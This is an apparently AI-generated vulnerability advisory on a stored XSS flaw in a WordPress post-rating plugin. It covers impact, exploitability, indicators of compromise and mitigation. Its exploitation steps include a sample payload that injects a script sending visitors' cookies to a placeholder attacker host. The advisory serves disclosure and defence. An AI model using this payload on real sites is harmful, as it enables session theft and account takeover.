CVE-2025-6538
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-6538 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Rating and Review plugin for WordPress. It affects all versions up to and including 1.3.4, caused by insufficient input sanitization and output escaping of the class parameter. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. The vulnerability was published on June 26, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the plugin fails to properly sanitize user-supplied input for the class parameter and does not escape the value before rendering it in HTML output. An authenticated attacker with at least Contributor-level privileges can craft a malicious shortcode or block attribute containing a JavaScript payload, which is then persistently stored in the database and executed in the browser of any user who views the affected page (Red Hat CVE, Wordfence).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement of site content, or redirection of visitors to malicious sites. The confidentiality and integrity impacts are low-to-moderate, and availability is not directly affected (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-6538 as of the available data. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is 0.00029, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Post Rating and Review plugin version 1.3.4 or earlier using tools like WPScan or by inspecting plugin directories.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious payload: Create or edit a post/page using the Post Rating and Review plugin block or shortcode, injecting a JavaScript payload into the class parameter (e.g., class="legit-class"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Publish content: Submit or save the post/page so the malicious payload is stored in the WordPress database.
  5. Trigger execution: When any authenticated or unauthenticated user (including administrators) visits the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor-level accounts containing unusual HTML/JavaScript in the class parameter field.
  • Database: WordPress wp_posts or wp_postmeta tables containing entries with <script>, javascript:, or encoded XSS payloads within Post Rating and Review plugin attributes.
  • Network: Outbound requests from victim browsers to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages using the Post Rating and Review plugin.
  • File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified PHP files in the plugin directory that could indicate secondary compromise.

Mitigation and workarounds

Site administrators should update the Post Rating and Review plugin to a version beyond 1.3.4 that includes a fix for this vulnerability. Until a patched version is available or applied, consider restricting Contributor-level user registration and limiting who can publish content on the site. Web Application Firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense. Regularly audit user roles and remove unnecessary Contributor accounts to reduce the attack surface (Red Hat CVE, Wordfence).

Community reactions

Wordfence included CVE-2025-6538 in their weekly WordPress vulnerability report for the period of June 23–29, 2025, as part of routine plugin vulnerability tracking. Red Hat also catalogued the CVE. No significant independent researcher commentary, vendor statements beyond standard advisories, or notable media coverage has been identified for this vulnerability (Wordfence, Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management